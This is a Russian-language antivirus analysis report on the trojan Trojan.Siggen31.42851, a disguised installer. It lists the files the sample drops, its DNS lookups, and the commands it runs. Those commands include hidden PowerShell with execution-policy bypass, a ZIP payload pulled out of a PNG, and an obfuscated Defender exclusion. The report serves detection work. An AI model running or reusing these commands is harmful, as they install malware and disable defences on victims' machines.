Trojan.Siggen31.42851

Техническая информация

Вредоносные функции

Запускает на исполнение

'%WINDIR%\syswow64\taskkill.exe' /f /im "ashpdu.exe"

Изменения в файловой системе

Создает следующие файлы

%TEMP%\_mei14682\vcruntime140.dll
%TEMP%\_mei14682\_bz2.pyd
%TEMP%\_mei14682\_ctypes.pyd
%TEMP%\_mei14682\_decimal.pyd
%TEMP%\_mei14682\_hashlib.pyd
%TEMP%\_mei14682\_lzma.pyd
%TEMP%\_mei14682\_socket.pyd
%TEMP%\_mei14682\base_library.zip
%TEMP%\_mei14682\combined.png
%TEMP%\_mei14682\libcrypto-1_1.dll
%TEMP%\_mei14682\libffi-8.dll
%TEMP%\_mei14682\original_setup.exe
%TEMP%\_mei14682\python311.dll
%TEMP%\_mei14682\script.bat
%TEMP%\_mei14682\select.pyd
%TEMP%\_mei14682\unicodedata.pyd
%TEMP%\x71fxi7b
%TEMP%\myhidden_7463unz0\original_setup.exe
%TEMP%\myhidden_7463unz0\script.bat
%TEMP%\myhidden_7463unz0\combined.png
%TEMP%\is-ss3ue.tmp\original_setup.tmp
%TEMP%\is-ft534.tmp\_isetup\_setup64.tmp
%TEMP%\is-ft534.tmp\webbrowser.dll
%TEMP%\is-ft534.tmp\innocallback.dll
%TEMP%\is-ft534.tmp\setup_05.bmp
%TEMP%\is-ft534.tmp\setup_enterkey.bmp
%TEMP%\is-ft534.tmp\setup_ok.bmp
%TEMP%\is-ft534.tmp\setup_false.bmp
%TEMP%\is-ft534.tmp\setup_licensefalse.bmp
%TEMP%\is-ft534.tmp\setup_01b_bg.bmp
%TEMP%\is-ft534.tmp\setup_02a_bg.bmp
%TEMP%\is-ft534.tmp\setup_03_bg.bmp
%TEMP%\is-ft534.tmp\setup_04_bg.bmp
%TEMP%\is-ft534.tmp\setup_01_finished_bg.bmp
%TEMP%\is-ft534.tmp\setup_wait.bmp
C:\users\public\trumpp.zip
C:\users\public\license_key.txt
C:\users\public\user.ps1
C:\users\public\init.vbs

Перемещает следующие файлы

%TEMP%\myhidden_7463unz0\combined.png в C:\users\public\combined.png

Сетевая активность

Подключается к

'et.##hampoo.com':443

TCP

Другие

'et.##hampoo.com':443

UDP

DNS ASK li#####get.ashampoo.com
DNS ASK et.##hampoo.com

Другое

Ищет следующие окна

ClassName: '' WindowName: ''

Создает и запускает на исполнение

'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "Start-Process -FilePath '%TEMP%\myhidden_7463unz0\script.bat' -ArgumentList 'x' -WindowStyle Hidden"
'%TEMP%\myhidden_7463unz0\original_setup.exe'
'%TEMP%\is-ss3ue.tmp\original_setup.tmp' /SL5="$E003E,11490858,1109504,%TEMP%\myhidden_7463unz0\original_setup.exe"
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -NoProfile -WindowStyle Hidden -Command "Expand-Archive -Path 'C:\Users\Public\trumpp.zip' -DestinationPath 'C:\Users\Public' -Force"
'%WINDIR%\syswow64\wscript.exe' "C:\Users\Public\init.vbs"
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -exec bypass -f C:\Users\Public\user.ps1

Перезапускает анализируемый образец

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /c "attrib -h -s %TEMP%\myhidden_7463unz0\original_setup.exe" (со скрытым окном)
'%WINDIR%\syswow64\attrib.exe' -h -s %TEMP%\myhidden_7463unz0\original_setup.exe
'%WINDIR%\syswow64\cmd.exe' /c "attrib -h -s %TEMP%\myhidden_7463unz0\script.bat" (со скрытым окном)
'%WINDIR%\syswow64\attrib.exe' -h -s %TEMP%\myhidden_7463unz0\script.bat
'%WINDIR%\syswow64\cmd.exe' /c "attrib -h -s %TEMP%\myhidden_7463unz0\combined.png" (со скрытым окном)
'%WINDIR%\syswow64\attrib.exe' -h -s %TEMP%\myhidden_7463unz0\combined.png
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\myhidden_7463unz0\script.bat
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\myhidden_7463unz0\script.bat" x " (со скрытым окном)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -NoProfile -WindowStyle Hidden -Command "[io.file]::Move('%TEMP%\myhidden_7463unz0\combined.png', 'C:\Users\Public\combined.png')"
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "$f='C:\Users\Public\combined.png';$m=[Text.Encoding]::ASCII.GetBytes('--ZIPSTART--');$d=[IO.File]::ReadAllBytes($f);" "$i=-1;for($x=0;$x -le $d.Length-$m.Length-4;$x++){ ...
'%WINDIR%\syswow64\taskkill.exe' /f /im "ashpdu.exe" (со скрытым окном)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -exec bypass -f C:\Users\Public\user.ps1 (со скрытым окном)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -c ".([char]65+[char]100+[char]100+[char]45+[char]77+[char]112+[char]80+[char]114+[char]101+[char]102+[char]101+[char]114+[char]101+[char]110+[char]99+[char]101) -Exclus... (со скрытым окном)